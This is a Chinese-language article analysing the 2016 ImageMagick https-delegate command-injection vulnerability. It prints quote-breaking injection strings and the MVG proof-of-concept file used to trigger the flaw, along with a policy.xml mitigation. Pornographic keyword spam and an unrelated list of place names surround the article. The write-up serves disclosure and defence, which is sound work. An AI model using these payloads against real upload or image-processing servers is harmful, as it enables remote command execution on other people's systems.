最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

深入淺析ImageMagick命令執(zhí)行漏洞

 更新時(shí)間:2016年10月11日 09:09:35   作者:Joy_nick  
ImageMagick是一個(gè)功能強(qiáng)大的開源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。接下來(lái)通過(guò)本文給大家淺析ImageMagick命令執(zhí)行漏洞的知識(shí),一起看看吧

00 前言

什么是ImageMagick?

ImageMagick是一個(gè)功能強(qiáng)大的開源圖形處理軟件,可以用來(lái)讀、寫和處理超過(guò)90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對(duì)圖片進(jìn)行切割、旋轉(zhuǎn)、組合等多種特效的處理。

由于其功能強(qiáng)大、性能較好,并且對(duì)很多語(yǔ)言都有拓展支持,所以在程序開發(fā)中被廣泛使用。許多網(wǎng)站開發(fā)者喜愛使用ImageMagick拓展來(lái)做web上的圖片處理工作,比如用戶頭像生成、圖片編輯等。

01 漏洞描述

ImageMagick是一款開源圖片處理庫(kù),支持PHP、Ruby、NodeJS和Python等多種語(yǔ)言,使用非常廣泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多個(gè)圖片處理插件都依賴它運(yùn)行。當(dāng)攻擊者構(gòu)造含有惡意代碼得圖片時(shí),ImageMagick庫(kù)對(duì)于HTTPPS文件處理不當(dāng),沒有做任何過(guò)濾,可遠(yuǎn)程實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行,進(jìn)而可能控制服務(wù)器。

02 影響程度

攻擊成本:低

危害程度:高

影響范圍:ImageMagick 6.9.3-9以前的所有版本

03 漏洞分析

命令執(zhí)行漏洞是出在ImageMagick對(duì)https形式的文件處理的過(guò)程中。

ImageMagick之所以支持那么多的文件格式,是因?yàn)樗鼉?nèi)置了非常多的圖像處理庫(kù),對(duì)于這些圖像處理庫(kù),ImageMagick給它起了個(gè)名字叫做”Delegate”(委托),每個(gè)Delegate對(duì)應(yīng)一種格式的文件,然后通過(guò)系統(tǒng)的system()命令來(lái)調(diào)用外部的lib進(jìn)行處理。調(diào)用外部lib的過(guò)程是使用系統(tǒng)的system命令來(lái)執(zhí)行的,導(dǎo)致命令執(zhí)行的代碼。

ImageMagick委托的默認(rèn)配置文件: /etc/ImageMagick/delegates.xml

具體代碼請(qǐng)參考:Github-ImageMagick

我們定位到https委托得那一行:

" <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

可以看到,command定義了它對(duì)于https文件處理時(shí)帶入system()函數(shù)得命令:"wget" -q -O "%o" "https:%M"。

wget是從網(wǎng)絡(luò)下載文件得命令,%M是一個(gè)占位符,它得具體定義在配置文件中如下:

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

可以看到%m被定義為輸入的圖片格式,也就是我們輸入的url地址。但是由于只是做了簡(jiǎn)單的字符串拼接,沒有做任何過(guò)濾,直接拼接到command命令中,所以我們可以將引號(hào)閉合后通過(guò)"|",”`”,”&”等帶入其他命令,也就形成了命令注入。

比如我們傳入如下代碼:

https://test.com"|ls “-al

則實(shí)際得system函數(shù)執(zhí)行得命令為:

“wget” -q -O “%o” “ https://test.com"|ls “-al”

這樣,ls -al命令成功執(zhí)行。

04 漏洞利用

這個(gè)漏洞得poc由老外給出得,如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

push和pop是用于堆棧的操作,一個(gè)進(jìn)棧,一個(gè)出棧;

viewbox是表示SVG可見區(qū)域的大小,或者可以想象成舞臺(tái)大小,畫布大小。簡(jiǎn)單理解就是根據(jù)后面得參數(shù)選取其中得一部分畫面;

fill url()是把圖片填充到當(dāng)前元素內(nèi);

在其中我們使用了fill url()的形式調(diào)用存在漏洞的https delegate,當(dāng)ImageMagick去處理這個(gè)文件時(shí),漏洞就會(huì)被觸發(fā)。

附:ImageMagick默認(rèn)支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內(nèi)容,允許在其中加載ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在圖形處理的過(guò)程中,ImageMagick會(huì)自動(dòng)根據(jù)其內(nèi)容進(jìn)行處理,也就是說(shuō)我們可以將文件隨意定義為png、jpg等網(wǎng)站上傳允許的格式,這大大增加了漏洞的可利用場(chǎng)景。

利用過(guò)程:

創(chuàng)建一個(gè)exploit.png文件,包含以下內(nèi)容:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

執(zhí)行命令:convert exploit.png 1.png(后面的是convert的參數(shù))

05 漏洞修復(fù)

升級(jí)到最新版本

配置/etc/ImageMagick/policy.xml的方式來(lái)禁止https、mvg這些delegate,或者直接在配置文件刪除相應(yīng)的delegate

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

以上所述是小編給大家介紹的ImageMagick命令執(zhí)行漏洞的知識(shí),希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

相關(guān)文章

  • python執(zhí)行g(shù)et提交的方法

    python執(zhí)行g(shù)et提交的方法

    這篇文章主要介紹了python執(zhí)行g(shù)et提交的方法,實(shí)例分析了Python通過(guò)get傳遞數(shù)據(jù)的技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-04-04
  • 使用Python實(shí)現(xiàn)Excel中文轉(zhuǎn)拼音

    使用Python實(shí)現(xiàn)Excel中文轉(zhuǎn)拼音

    在日常辦公中,我們經(jīng)常需要處理Excel文件,有時(shí)候需要將中文轉(zhuǎn)換為拼音縮寫以方便檢索和使用,下面我們就來(lái)看看如何使用Python實(shí)現(xiàn)這一功能吧
    2025-02-02
  • Python圖像運(yùn)算之圖像銳化和邊緣檢測(cè)

    Python圖像運(yùn)算之圖像銳化和邊緣檢測(cè)

    這篇文章主要和大家講解一下常見的圖像銳化和邊緣檢測(cè)方法,即Roberts算子和Prewitt算子。文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解一下
    2022-12-12
  • python?Pillow圖像降噪處理顏色處理

    python?Pillow圖像降噪處理顏色處理

    這篇文章主要為大家介紹了python?Pillow圖像降噪處理顏色處理,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-08-08
  • python列表的增刪改查實(shí)例代碼

    python列表的增刪改查實(shí)例代碼

    下面小編就為大家分享一篇python列表的增刪改查實(shí)例代碼,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2018-01-01
  • Python Celery多隊(duì)列配置代碼實(shí)例

    Python Celery多隊(duì)列配置代碼實(shí)例

    這篇文章主要介紹了Python Celery多隊(duì)列配置代碼實(shí)例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-11-11
  • python中yield的用法詳解

    python中yield的用法詳解

    這篇文章主要介紹了python中yield的用法詳解,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2021-01-01
  • python實(shí)現(xiàn)登錄密碼重置簡(jiǎn)易操作代碼

    python實(shí)現(xiàn)登錄密碼重置簡(jiǎn)易操作代碼

    這篇文章主要介紹了python實(shí)現(xiàn)登錄密碼重置簡(jiǎn)易操作,代碼簡(jiǎn)單易懂,非常不錯(cuò),具有一定的參考借鑒價(jià)值 ,需要的朋友可以參考下
    2019-08-08
  • Pytorch使用PIL和Numpy將單張圖片轉(zhuǎn)為Pytorch張量方式

    Pytorch使用PIL和Numpy將單張圖片轉(zhuǎn)為Pytorch張量方式

    這篇文章主要介紹了Pytorch使用PIL和Numpy將單張圖片轉(zhuǎn)為Pytorch張量方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2020-05-05
  • django 按時(shí)間范圍查詢數(shù)據(jù)庫(kù)實(shí)例代碼

    django 按時(shí)間范圍查詢數(shù)據(jù)庫(kù)實(shí)例代碼

    這篇文章主要介紹了django 按時(shí)間范圍查詢數(shù)據(jù)庫(kù)實(shí)例代碼,分享了相關(guān)代碼示例,小編覺得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,需要的朋友可以參考下
    2018-02-02

最新評(píng)論

宜州市| 富锦市| 闵行区| 抚宁县| 昌黎县| 枣强县| 鄂尔多斯市| 沂水县| 增城市| 临夏市| 砚山县| 临潭县| 新宁县| 北海市| 从化市| 明水县| 河北省| 石泉县| 达州市| 望城县| 枣庄市| 五常市| 中宁县| 花垣县| 朝阳县| 大荔县| 武冈市| 开阳县| 合肥市| 普安县| 阿勒泰市| 纳雍县| 都兰县| 婺源县| 永登县| 上杭县| 陇川县| 盐城市| 翁源县| 藁城市| 时尚|